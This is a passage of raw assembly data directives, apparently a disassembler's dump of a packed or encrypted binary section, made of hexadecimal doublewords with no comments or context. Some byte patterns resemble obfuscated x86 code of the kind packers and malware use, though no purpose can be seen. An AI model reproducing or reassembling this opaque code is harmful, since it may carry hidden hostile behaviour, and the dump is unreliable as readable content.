0FFCEB824h, 863F8FA7h, 875757ABh dd 320A09Ah, 0CE25FB0Eh, 4383D69Fh, 0ECCE825Dh, 0EEECD8ACh dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh dd 458AFD4Ah, 0D5F251A2h, 4C4A88C0h, 0A8ED96A4h, 458A152Ah dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h dd 0BA8660D5h, 0CE2559D7h, 4383AEF8h, 0FD32DCF1h, 0BA8C1C96h dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 5D13B338h dd 0DF07462Ch, 52A1ED0Bh, 3C6D5h, 5492B85Eh, 3075152Ah dd 5CDDAEAEh, 0FE648FA7h, 0D9FB57ABh, 4C36BCB0h, 0DD7BAEA4h dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 0AE32DCAAh, 168C1C91h dd 0E801CB2Fh, 96751323h, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h dd 4582D7E3h, 3044BAh, 5E800h, 97080000h, 0F109660h, 815EDBB7h dd 0A512ACE9h, 26C68112h, 0E900006Fh, 5, 29BA893Dh, 3A3BA3Ch dd 0EA815290h, 528FE7FEh, 8BDBB70Fh, 0E3816606h, 0E8818CEAh dd 488DB63Eh, 0DE857h, 0D3900000h, 63EB2AEBh, 0D9E148C9h dd 0B33AC915h, 815B5BBCh, 488EBDE8h, 0A9E8816Eh, 0F24BAF9h dd 18Eh, 689FC00h, 930B966h, 6604EE83h, 0EA81FA8Bh, 1 dd 0FFB1850Fh, 0FE8FFFFh, 62000000h, 0DB7313BEh, 5BD74A33h dd 66F1A996h, 11BF01E2h, 5F56727Dh, 75FDED55h, 76F67A5Eh dd 56E669A4h, 0CBFD49BCh, 29FD2FBDh, 6EFD2F93h, 0CCFD2F84h dd 0BEFD2F0Dh, 94FD2FC8h, 7DFD2F2Ah, 52FD2F5Ah, 49FD2FE2h dd 74FD2FBEh, 4DFD2F93h, 0A6FD2F84h, 3FD2F0Fh, 0E0FD2FC9h dd 0CDFD2F2Bh, 89FD2F5Ah, 0DDFD2FE1h, 9DFD2FBDh, 95358A25h dd 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah, 75F57227h dd 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h, 75FC7B78h dd 75FD7ABCh, 76FD7A5Eh, 75A87F0Dh, 75A87FC5h, 75FD7ACBh dd 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh, 73F4BC45h dd 0B7AFFFA6h, 0F0707C9Eh, 73F4BCFAh, 0B7EFFF6Ch, 0F0707CFBh dd 73F4BC16h, 0B7B3FF35h, 0F0707C57h, 73F4BFE0h, 0B7EBFF1Eh dd 0F0707CC2h, 73F4BF6Bh, 0B7E7FF7Bh, 0F0707C70h, 73F4BE90h dd 0B7E3FFD7h, 0F0707C26h, 73F4BEA9h, 0B7DFFF42h, 0F0707CECh dd 73F4BEA6h, 0B7DBFFF0h, 0F0707CB5h, 73F4BEF1h, 0B7CFFFA6h dd 0F0707C9Eh, 73F4BEB0h dd 0B7D7FF6Ch, 0F0707CFBh, 73F4BEE3h, 0B7D3FF35h, 0F0707C57h dd 73F4BE80h, 0B7CFFF1Eh, 0F0707CC2h, 73F4BE0Ch, 0B7BFFF7Bh dd 0F0707C70h, 73F4BFB4h, 0B7BBFFD7h, 0F0707C26h, 73F4BFBCh dd 0B7B7FF42h, 0F0707CECh, 73F4BF86h, 0B7CBFFF0h, 0F0707CB5h dd 73F4BFF5h, 0B7C7FFA6h, 0F0707C9Eh, 73F4BC8Dh, 0B7C3FF6Ch dd 0F0767CFBh, 73FE6CD8h, 0B776FF35h, 0F0767C57h, 73FE5B6Ah dd 0B772FF1Eh, 0B69C7CC2h, 9D11F1B0h, 75FD7AF2h, 0EA17FB23h dd 25FB737Fh, 0FDF53FD5h, 7C3FF0ADh, 0B7342291h, 23AC7ACFh dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73F4B97Ch, 0B7ECFFA0h dd 0C87D7C26h, 73F4B886h, 0C5B409CFh, 0B54B75E4h, 3589BAF9h dd 0B772EF86h, 0FEBD7CB5h, 7A452B96h, 8AFD7A2Fh, 7C3FF502h dd 6748F7CDh, 0F8FB7327h, 9D50FCC6h, 75FD7E4Bh, 76456FCFh dd 8AFD7A5Eh, 7C3FF5BAh, 6748F791h, 0F8FB7309h, 8A50FCD1h dd 0BC1F2322h, 0B7ECF787h, 2DA07CB5h, 2CA32005h, 776D92ECh dd 0CD4D7A97h, 8A5779C1h, 7C3FF170h, 9D3ED1F4h, 75FD7807h dd 0CD9BC2DAh, 0DE9B5954h, 0B776EFD0h, 0DE9B7C9Eh, 77959208h dd 360B7AE5h, 6E8872F3h, 0B776EF86h, 0C54D7CB5h, 8AAD7954h dd 7C3FF1BAh, 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah dd 4E152979h, 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h dd 0FE4DBA07h, 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh dd 0C5120E84h, 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh dd 75FF7B1Ah, 360B2079h, 548872BDh, 6889A065h, 913D59A5h dd 0F5DF7094h, 0FF4DBA07h, 0FE6885B5h, 2FFB7330h, 51FD5F1Fh dd 133F71DAh, 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h dd 2D157AE5h, 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh dd 75FC5BC7h, 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah dd 9D561C79h, 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h dd 75FCF323h, 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh dd 7DF99EDEh, 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h dd 0B772EF0Dh, 0C0707C70h, 73F4B8EAh, 7F518A5Dh, 0E002D02Ch dd 73F4B81Ch, 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh dd 75FC4354h, 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h dd 0CD9B851Ah, 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh dd 2257929Fh, 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah dd 8A008B91h, 75059243h, 2D4D7A5Eh, 0B6577925h, 0B7F5FF69h dd 0C87D7CC2h, 73F4B8EDh, 0F8EC0FF3h, 7C3F00FCh, 61152ABAh dd 9DFD7A5Ch, 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh dd 0DF9CCA0Dh, 0B7F5F787h, 0C87D7CB5h, 73F4B856h, 0F8F10F2Fh dd 7C3F0012h, 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 0FA688579h dd 0F8FB737Eh, 7C3BADC3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h dd 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 7C3FF1CBh dd 514ACE29h, 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h dd 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 0B776EF68h dd 917D7CC2h, 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h dd 0B7D6BDD5h, 0FCF992ACh, 7345B995h, 8AFD7ACBh, 7C3FF570h dd 1B60F7F4h, 0F8FB73BBh, 0CD3E39A0h, 75FD7A4Eh, 0B772EFD0h dd 0B57E7C9Eh, 8935F1CEh, 0B776EF1Ah, 97577CFBh, 0BE15B98Eh dd 0FF028543h, 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh dd 8908831Dh, 0F611F1A7h, 9D9D86BDh, 75FD7ABCh, 9217FB04h dd 0FCFB73E9h, 0CF7D86EAh, 73F4B841h, 0EC7975E5h, 0CDFD7AF2h dd 75FD7A73h, 0B772E843h, 0FCBD7C57h, 7C3FE9ADh, 0F835F191h dd 7C3AC179h, 0FE6F85E3h, 0FDFB7330h, 801F3C7Fh, 75FD6D04h dd 0E67F795Eh, 35FB73EDh, 0B252E01Ah, 0B67E7CC2h, 22FEF3E1h dd 75FD644Bh, 0E6777979h, 0F8FB737Eh, 7C3AE7ECh, 2B598929h dd 75FD722Fh, 0FA6F85CBh, 0F6FB7327h, 85897E0Ah, 72447C71h dd 7DFD7ABCh, 0C3F24B5Ah, 761EBBF7h, 75FD742Eh, 44E172CBh dd 75FD765Ch, 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h dd 44F9722Fh, 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh dd 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h dd 67C92CB3h, 0B6AD3A78h, 75FD7AF2h, 75FD7A79h, 0FEA87ABCh dd 75151AB2h, 2FFD7A2Fh, 0B2339016h, 0CF707CC2h, 73F4B872h dd 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 0B76AE7A2h dd 497D7C9Eh, 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h dd 75FD7ABCh, 7217FB04h, 0F8FB73E7h, 7C3FED25h, 7D80F1CDh dd 75FD725Ch, 145989F2h, 75F9B8B0h, 0E240F7DCh, 46FB739Ch dd 75F5C3EFh, 0DF0E7A97h, 0F89DB9AAh, 7C3FED58h, 74C2FBF4h dd 0FC7B78h, 7182FBB0h, 74FC7B5Fh, 9E04795Ah, 0B69C8296h dd 0E240F7ABh, 0CDFB7327h, 75FD7AF3h, 75FD72C0h, 145789BCh dd 0FE3DF19Dh, 0D178F7EFh, 8AFB7355h, 8DCA8BD0h, 9C9228Dh dd 15B50906h, 89060331h, 320A58Dh, 0E43FB806h, 85C71F54h dd 6031A65h, 6270h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 1CC35343h, 8BCC62B0h, 329B9B5h, 7185C706h dd 60300h, 0F5000000h, 17ADB5FFh, 6A0603h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 5A61CDC3h dd 0C0CC6B6h, 95FF8A72h, 603171Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 34C35646h, 0B589E6D0h, 60315BDh dd 95FF006Ah, 60323A5h, 1FEBC08Bh, 0D153FDA9h, 598C97D4h dd 8159D758h, 0DC514DE3h, 26B1F030h, 4AC524DBh, 0E826EC29h dd 8D430B93h, 31E0D9Dh, 1300B806h, 85890000h, 60324BDh dd 0E8h, 0D055800h, 89000000h, 1300E903h, 4C0h dup(0) dd 0A8E90000h, 0C4000000h, 0E806723Bh, 7259162h, 2442AE7Fh dd 4765D19Ah, 0C685F1C2h, 6031B67Ah, 824BD6F4h, 0A36CF816h dd 0C1921937h, 0D9A45055h, 0D018999Bh, 563A4D5Bh, 0E80403CCh dd 898152DAh, 0A28C169Ah, 114599D7h, 0F94C59D6h, 45B7B28Dh dd 0E18D611h, 2FD6538Bh, 0D6117B51h, 0D6DEF30Ah, 0C12D6h dd 54150000h, 0A60ED5DEh, 25D52E1Dh, 0CD56622Dh, 860D0504h dd 32BEB6B5h, 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h dd 0BB433B3Ah, 6DF3EBEAh, 686F9D9Ch, 609DC6Eh, 0F9A118E9h dd 0FF6CFAFFh, 0CDD826DCh, 9448E619h, 0B8231185h, 609DCFEh dd 0CE8C503h, 1000000h, 27477EC7h, 95A3F052h, 66A5382Ch dd 0E95FD18Bh, 13h, 16AAEF74h, 0DA7CE054h, 132B47F2h, 8E98F92Eh dd 8144CCDBh, 71BFC7h, 0B0EA8000h, 191EADB9h, 74E9815Bh dd 0B05B1902h, 0E837FF43h, 9, 4E5A891Dh, 0A5230E2Eh, 45BD0983h dd 5B060308h, 0BE85Eh, 0F9660000h, 384B03A0h, 6E26CAFAh dd 58D88B8Eh, 4528C681h, 0B3B83B8Fh, 812094A8h, 6A1EAFC6h dd 0D8816654h, 0C681B4EEh, 24BD5FB9h, 12E9BD31h, 0B2560603h dd 89078FAAh, 30045B5h, 73EF8106h, 513F98E3h, 2EF1958Bh dd 81580603h, 98E36FC7h, 72C3813Fh, 810CF229h, 1E9h, 11850F00h dd 31000000h, 3195D95h, 18E906h, 9A60000h, 9EBE2763h, 88D9D8Bh dd 66E90603h, 7AFFFFFFh, 47620DBDh, 4EBA65Bh, 27310301h dd 0D59E9h, 0E04F6800h, 0AE90609h, 68FFF9A0h, 609E15Eh dd 0F9A000E9h, 0E24668FFh, 0F6E90609h, 68FFF99Fh, 609E2D9h dd 0F99FECE9h, 0E62868FFh, 0E2E90609h, 68FFF99Fh, 609E8E2h dd 0F99FD8E9h, 0EA1768FFh, 0CEE90609h, 0A8FFF99Fh, 0CCEA561Fh dd 0EB097546h, 8269263h, 2B49B57Eh, 0AA69D5A6h, 44159A5Eh dd 662FBAD8h, 8750DCFAh, 0A576FD1Bh, 0BD883439h, 0D0189BB7h dd 561E313Fh, 0E50100D1h, 458AE8B3h, 5D6AD611h, 0AD35F65h dd 4E2A539Eh, 4B380FDAh, 2D3ADC14h, 427F792Eh, 4BC4D012h dd 0E00BC04Eh, 42025A3Ah, 51000000h, 0B024FC29h, 147346E5h dd 0C91B20DCh, 2828C8CEh, 0EDB662E7h, 9DF0C979h, 5C964B4Ah dd 0BAD012D4h, 6E66652Eh, 0FA1615E6h, 12D4C12Fh, 6CA4B1D0h dd 40691411h, 0B73CCAC7h, 7E5A3A71h, 7, 8D647CDh, 324A0000h dd 0D6CE9F24h, 797849D0h, 0BD29FA81h, 0F96D0B72h, 144AE12Eh dd 16E113DCh, 0D01240D8h, 0E6E5B63Eh, 0F0E8F5EBh, 83383744h dd 0D0124069h, 504F20A7h, 504CD58h, 0FAA5A24Dh, 0CD5B58D1h dd 5A3AE206h, 0D321EC1Eh, 0A3D01248h, 44431499h, 0C3FEF649h dd 4Bh, 2CFC2912h, 0E31FF310h, 1F93E626h, 6DB88911h, 7A42CD33h dd 7BA59D69h, 0E3B43B49h, 2EF1E9E4h, 0DC145B8Dh, 0BDD9D8E5h dd 12B2C08Bh, 3542D012h, 12707A3Dh, 4CC5D012h, 0B40AC14Fh dd 8015A3Ah, 0F1000001h, 8B8A5BE3h, 56CD9890h, 0E3FFFECFh dd 6F98E0DAh, 0D5A0A746h, 0D611229Fh, 0A7F74A57h, 56515021h dd 2D3585Eh, 0B3840B03h, 2C420D3Fh, 0C4D61122h, 120ABFB7h dd 3846BA8Bh, 0EBE6E5AEh, 0DCF6D1F3h, 0FAD6112Dh, 1836A273h dd 9ED49F91h, 56D61129h, 0BEC87751h, 41943173h, 0A1D3EFEEh dd 303D0E93h, 0D611FCC2h, 7AADA5B2h, 36017503h, 0DC14E5D1h dd 96D84451h, 6D7EAE8Dh, 0BAB273BBh, 0E821E87h, 7FE311DCh dd 0E03ED012h, 0CC992F73h, 0A59DAAA0h, 0F489B07Bh, 0E0EDDA15h dd 0A22C3A6Ch, 8187EDB8h, 626FDA19h, 8C11170Fh, 166932BEh dd 36078CAAh, 0BEDE1EDFh, 99A0A1D4h, 0A76h, 0E7531CA5h dd 67243C9h, 238F60E8h, 46B27B05h, 66D2A328h, 12975BA7h dd 2CB7D541h, 4DD9F763h, 73FA1884h, 853136A2h, 18A5B4BAh dd 1B2E3CD0h, 9400D156h, 1F552052h, 0D7D61145h, 4590DEA9h dd 5360D611h, 7B020800h, 325B3EAAh, 453F3500h, 0D75DD611h dd 160C0706h, 0A7DE1109h, 199A65D9h, 51DC1468h, 661A5823h dd 0CDDAD012h, 515F7B7Ah, 0FBFACBh, 662B4508h, 1790D012h dd 0BA404E1Ah, 959465ECh, 634F479Ah, 5A3AC068h, 5021A6B4h dd 0B21D58h, 566C0000h, 0E3FFFECFh, 36E9D9DAh, 1B66A2A1h dd 6CBED7D3h, 0ADB3ABBDh, 56B3628h, 0EDD61132h, 0D98E8DE0h dd 0D6113DBFh, 198556DDh, 2FA374FBh, 0A572AA26h, 0DBD3FFCCh dd 0CAD80A26h, 46A7740h, 0ECD61179h, 49B4E7DFh, 0EB703BAFh dd 8BDC1463h, 5EC7127Eh, 511C4EC2h, 0D0121323h, 0A4CEC6D3h dd 15A141D9h, 84F805DAh, 0B420F176h, 0E9401196h, 0D4BF231Eh dd 67ADB4B5h, 0B4000009h, 0D8F6622Bh, 0F7158152h, 14329E6Fh dd 3755C18Ah, 0B675E1B2h, 5021A66Ah, 723BC6E4h, 935CE806h dd 0B1820927h, 0C9944045h, 0D018A4ABh, 562A3D4Bh, 769400D1h dd 0CFB21EEFh, 7A01CF56h, 45B7BD88h, 323FD611h, 92E5E0DFh dd 43149B93h, 6E37C1CFh, 0ABF35476h, 4BBF59C4h, 0F2EAB33Dh dd 6012FDC8h, 171CDC14h, 4C17C151h, 0D0124C26h, 8E76C1CEh dd 601981CFh, 37937008h, 0E6191E4h, 79D54DCBh, 8859DFEDh dd 0B73E8E89h, 42BBEEE6h, 7E4691BEh, 87DA793Dh, 8BF4813h dd 0ABB973DCh, 7C085821h, 20FBBB3h, 0D9A7DE03h, 44F89A65h dd 0C0F269DCh, 0C344FFF5h, 726A776Dh, 0A7CD98C6h, 0F56DC344h dd 9DAAA069h, 0A6F9C24Dh, 0CC9D2432h, 0C9BB4260h, 0C344F0FEh dd 2373806Dh, 2077CA9Bh, 84881B4Bh, 7FEEF5F6h, 9C000008h dd 0C0DE4A13h, 0DFFD693Ah, 0FC1A8657h, 1F3DA972h, 9E5DC99Ah dd 38098E52h, 5A23AECCh, 7B44D0EEh, 996AF10Fh, 0B17C282Dh dd 0D018A743h, 32122533h, 0D6CE9F24h, 797849D0h, 0DB4F2954h dd 14496F10h, 0EF7B89DCh, 400B2726h, 0D0124032h, 6A62B5C2h dd 2F3DB1BEh, 506EDAA3h, 47FCFBC4h, 0D0124029h, 204E194Bh dd 0D0D01240h, 1C6F40C6h, 50176124h, 5361D012h, 0D407FFC8h dd 905BCFA9h, 0DA174D2Bh, 473F3E4Bh, 0B998EFC0h, 78D4BC42h dd 7EC7077h, 0A62F0000h, 0CD5371DDh, 0EA7290FCh, 58FAD19h dd 2DB2D03Ch, 0E531F05Ch, 5FCB9C21h, 81EDB641h, 0A20ED763h dd 0C02CFD84h, 2E440FBBh, 0C6D018A7h, 0FC29A5B8h, 0C6E5B024h dd 0A0DC1458h, 6A789493h, 171211E2h, 0C293191Fh, 17E21456h dd 0D01256D9h, 8E948C99h, 13383708h, 6C9E12E6h, 706D75Eh dd 56D220EBh, 95A2D012h, 0DE6DF742h, 0A1B1BA24h, 7CC0E6A9h dd 93A0D012h, 0B98A111Fh, 12C7BFBAh, 701815F4h, 0D2AD19EAh dd 0D0127C98h, 54C850C9h, 0F0EFC046h, 0B8B681F5h, 38D0127Ch dd 3E09332Bh, 0D0127C6Ch, 4D6BD7E4h, 7482F6C7h, 6F241CEDh dd 127FB8BAh, 0D4D1B0D0h, 0A475FA08h, 0ACB2AAA5h, 0D8E15526h dd 3FED3366h, 1C3E36AEh, 0A8A778FEh, 618F5A8Ch, 11D01235h dd 0B999FA0Ch, 0CA1D2AEEh, 0DA550FD2h, 7E5DD012h, 8253D981h dd 0D7A2D416h, 0D012E599h, 21544C59h, 3E34FFE8h, 5CD012E5h dd 0D03D4h, 56E39ADh, 0EDD012E5h, 5B2CE1E0h, 0E04C7109h dd 17DC6A67h, 1E265CE2h, 1A9h, 24FC296Dh, 6C8AE5B0h, 5764DC14h dd 6CA8B1E3h, 0A9E8635Ch, 1A9A6F77h, 6736A0CFh, 11E2696Fh dd 2F0087A5h, 4D37B30h, 0BE195B54h, 91C3F5C1h, 5BDAA8C6h dd 2E3B485Bh, 5B5BDAC0h, 0A5ABA3B0h, 0C3E14D1Eh, 0B23C4A3Ch dd 0E2EFEAE9h, 5B5BE58Ch, 5045764h, 73DFA9E0h, 302CB55h dd 47B3840Bh, 0D2D1A229h, 0D15BE11Dh, 0D3D02BC5h, 67D3A42Bh dd 5D0C249h, 29C413EFh, 28277A87h, 7E059603h, 60B3AEADh dd 13D321ECh, 96A329C4h, 0B6870C2Ah, 0B6E43942h, 54BF452Bh dd 493C3DEFh, 736BBE97h, 986099BEh, 24675924h, 586129C4h dd 817B8A94h, 0E49088A2h, 0F7296BD7h, 93218CEEh, 1421CD1Eh dd 29C4CADEh, 4A158996h, 29C4CA24h, 0C1C7BFCCh, 726A693Ah dd 0FF1D1CEDh, 6C3DC3D1h, 0E1E1F221h, 20184B31h, 19A04845h dd 0A3F6BF4Bh, 61E7F537h, 0B929890h, 0E3163B3Ah, 0E0D6A115h dd 0E229C450h, 0BA785BD9h, 82DFD030h, 0B5868DBEh, 96423A8Dh dd 78FF1D89h, 355D2AAFh, 6934C24Eh, 29C44C0Bh, 388BDEEBh dd 0A9C792C4h, 4929C44Ch, 0ECEBB43Fh, 0F1A69EF1h, 20A76DF9h dd 255504Fh, 48514B03h, 0BB8E4D81h, 0A9847C73h, 0AC7D04ACh dd 0CA9B2240h, 0A573A6CBh, 2CDFF31h, 29C43DECh, 0BC7F7784h dd 29C43DC2h, 0B3D13D4Ah, 3A5F5E27h, 93C539CFh, 0C43DAAC8h dd 996AF029h, 9CA99F9Ah, 504BC151h, 473F90F8h, 0D4E2EB1Dh dd 2C1A434Ah, 5C4205FDh, 0D429C4DBh, 0BB4553C7h, 74FBF3F2h dd 11DC50A3h, 29C4DBE3h, 6C8E8693h, 35003289h, 0D611453Fh dd 73FEB2B7h, 317C7A09h, 59E0E6DEh, 54D11C88h, 0F28D58CCh dd 7CDC14AEh, 61EDFB6Fh, 0B8EA2C98h, 535223AAh, 4C254B58h dd 0C0CDD015h, 5F89D075h, 1911C336h, 4ABE8713h, 0E7E6B73Ch dd 499C65EFh, 0E779C51h, 0B033FE72h, 0ACDA10CEh, 5149129Eh dd 0C31AA0A5h, 0E05C2909h, 9FD98E8Dh, 0D0DA16D3h, 8C57CB55h dd 0D013CE2Fh, 662FBBC9h, 0C8746C67h, 3DC4BCBBh, 0C32C156Ch dd 0FEFFDAC0h, 49DF7h, 2CF57E00h, 4B1CA2C0h, 6839C1DFh dd 8B54DEFCh, 0AB7C011Fh, 7034803Fh, 90AE1AEBh, 0B2D03C05h dd 0D3F15D26h, 0A0F7B4Ch, 0A35D935Eh, 715D018h, 24FC29F4h dd 6272E5B0h, 606EDC14h, 68140CD5h, 4CA75C5Bh, 0F3D0125Bh dd 0E4EF7D7Ah, 2F5A3AF9h, 9Bh, 450F997Eh, 68EDD611h, 4A9D9897h dd 0C8A5AECCh, 66A4D7D8h, 1EA5ABA3h, 6296E14Dh, 0F2450E99h dd 6DC5B37Eh, 303DD611h, 0E1B23931h, 2AFE2A75h, 57FADB6h dd 42A9457Eh, 6755204Ah, 0DFD61164h, 54DBD3D2h, 5CCC1783h dd 38D58CCh, 2BD61164h, 7BCE9721h, 0A4ADC77Ch, 97C5D611h dd 46110389h, 0D6112428h, 6968BBC8h, 0B1AEDE76h, 0DC2FD828h dd 882DB991h, 0F6EEF239h, 0D1491E1Bh, 800AD549h, 2AD61139h dd 39C72DF8h, 0A2AFD611h, 85F1FEAAh, 0BF58h, 67EEFC00h dd 32D39E96h, 453F3500h, 0D25DD611h, 190F0A09h, 0A4E1140Ch dd 6B3668DCh, 0D6114505h, 0BEE8E0EDh, 1458B4F3h, 0A2A1AEDCh dd 0EA561FAAh, 279B679Fh, 0FAF8C3F5h, 7AD01256h, 0C0B2756Dh dd 38D01256h, 22A9B72Bh, 0EFA45951h, 0D012568Ah, 99687139h dd 0C1BA96CBh, 0C261FB95h, 9593F277h, 37C5C29Dh, 5A3ADBBCh dd 5377h, 0FD29C600h, 88E6B125h, 68D61145h, 0D9645C5Bh dd 9F6A9C10h, 0D6114551h, 0D5A01421h, 0D611459Fh, 30524A57h dd 6DE1B9E5h, 1145F8A2h, 0EF6370D6h, 592AAFBDh, 1C525F5Ah dd 0D4D61145h, 651ACFC7h, 0D611850Bh, 0B2878463h, 6F3AAE4Ah dd 0D61105B5h, 0E1C4303Dh, 0FFFECF56h, 864FD5E3h, 61A1D7EEh dd 1615683Ah, 961D231Bh, 727142C8h, 6DB82477h, 0C2F46830h dd 0E0C631B9h, 716920E2h, 14E061AEh, 50411DCh, 12EA2650h dd 25229BD0h, 3A485C97h, 42D75Ah, 29260000h, 0D39C27FCh dd 1286D9D4h, 0AEAD7E04h, 0ED763B3h, 0F21C140Fh, 14688427h dd 0D2D1DEDCh, 1261D31Dh, 0EDB641D0h, 0A071F6EEh, 0CB56A6A1h dd 0C8230302h, 7EF720CBh, 0C7F8F381h, 0D9335A3Ah, 82000000h dd 0FFFECF56h, 0B2B18207h, 636233BAh, 8F16E46Bh, 24FF6BBEh dd 0D6114AEAh, 5CD0A128h, 0F9F8C94Eh, 0B1BF8AFEh, 41D61140h dd 0FC1A3C34h, 531CA775h, 76D3854h, 0EFD61140h, 3D3C8FE2h dd 9F13ED18h, 0CD55F6Dh, 496E5114h, 0FB08DC14h, 0E5444D8Fh dd 746E32D8h, 0DF467971h, 8E02CD41h, 0A6DA15ACh, 92172599h dd 501B4DC1h, 0DA184822h, 8651C5D2h, 0DA184868h, 0E103FB08h dd 814C3EC3h, 0DA184873h, 4CA3F603h, 0D4BF2759h, 0E3383F40h dd 38000001h, 5C7AE6AFh, 7B9905D6h, 98B622F3h, 0BBD9450Eh dd 3AF96536h, 0D4A52AEEh, 0F6BF4A68h, 17E06C8Ah, 35068DABh dd 4D18C4C9h, 0D018AD27h, 56AEC1CFh, 838C00D1h, 0B8ACF9FDh dd 1721B741h, 0D3359DE8h, 0E402241Ch, 3D208C5Dh, 0FB192932h dd 82478518h, 522E578Ah, 199EACDEh, 2A8D5048h, 44DC1479h dd 69833837h, 0CED01271h, 0A071F806h, 42D0CDA8h, 5A3AD789h dd 10084h, 0CF56D300h, 8207FFFEh, 616029B4h, 0F8141366h dd 45F5FBC6h, 707DD611h, 4A9BB578h, 6395D611h, 11405A98h dd 150D1AD6h, 4BB7880Fh, 0A66FFB09h, 0AEB4ACA7h, 32575627h dd 0DDA630CBh, 3736078Dh, 6775E93Ch, 0F01A12DBh, 14498225h dd 5BCFDCDCh, 48105E29h, 0D3E0D012h, 4577B9DBh, 1248747Ah dd 0F7EFFCD0h, 4BBF59C4h, 15FAB180h, 0B43947DAh, 94935CE6h dd 0A24E4699h, 0C10ED29Dh, 0F96D83AEh, 190CC02Eh, 50A3B0DAh dd 7546CEDCh, 0CDCC9D25h, 0A2B0DAD2h, 0FEC44F1Dh, 5857AA73h dd 5C9E0A5Dh, 0F8F7C84Eh, 7AFF05FDh, 0B3A2ACB1h, 2D800B79h dd 0BEEBD9D6h, 0CCD3D4D4h, 0AEh, 0AF1BE46Dh, 0CE3A0B91h dd 0EB5728B0h, 0E7A43CDh, 2E9A6BF0h, 0DA5F236Fh, 0F47F9D09h dd 15A1BF2Bh, 3BC2E04Ch, 4DF9FE6Ah, 18AF6C82h, 0E3F604D0h dd 8C00D156h, 2C2BF47Eh, 0F9173931h, 1F2DA172h, 0AFD1C99Ah dd 0FECF56CCh, 0AF8007FFh, 0DDA62D3Bh, 0E14C0ACDh, 0DBD326B1h dd 69376EB9h, 58C32AF5h, 9EABDC1Bh, 5220A79Fh, 425206C7h dd 4BADC45Dh, 0ABFEF9F8h, 0C99A213Fh, 25815CAh, 79D4F140h dd 7C4DD47Ch, 9A6BF210h, 5019A39Bh, 7546CEDCh, 0CE837B76h dd 2CD4D1B0h, 4A68D4A5h, 0D7F3F2C3h, 737243C9h, 36B8078h dd 6E000000h, 0CD563D54h, 860D0504h, 32BEB6B5h, 0E7726A69h dd 0A2271F1Eh, 55DAD2D1h, 38D8584h, 0BB433B3Ah, 6DF3EBEAh dd 686F9D9Ch, 1480h, 56243C89h, 0C681E689h, 4, 4EE81h dd 34870000h, 3C895C24h, 0E6895624h, 4C681h, 0EE810000h dd 4, 5C243487h, 56241C89h, 9DE52BEh, 8BF78906h, 0C4832434h dd 1C8B5404h, 4C48124h, 81000000h, 4ECh, 243C8900h, 0FF08438Fh dd 835B2434h, 3C8B04C4h, 0E3895324h, 4C381h, 0C3830000h dd 241C8704h, 92BFE95Ch, 5BC3FFF9h, 0EAB80832h, 30609EAh dd 0F5E0FFC5h, 940E3D68h, 301A386Ch, 58635F45h, 74280C91h dd 8D133535h, 9EC4D8Dh, 0A58D8906h, 0F060320h, 0BE66D6B7h dd 85C72F1Ch, 6031A65h, 5A14h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 72C35646h, 233587EDh, 6586E91Ah dd 9D57BAEFh, 0C58A1ED3h, 7185C7h, 603h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0B5FF8CC3h, 6030C69h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0D5C35242h, 4BF756F6h, 0C71332DCh, 1499B58Bh dd 95FF0603h, 603171Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0B2C35343h, 6ADE8B66h, 0A595FF00h, 8B060323h dd 6C38EBC0h, 0ABB33CA0h, 26025C2Dh, 13B1E756h, 0B365D24Ch dd 26CC7D62h dd 0A1225448h, 0B10F3BCAh, 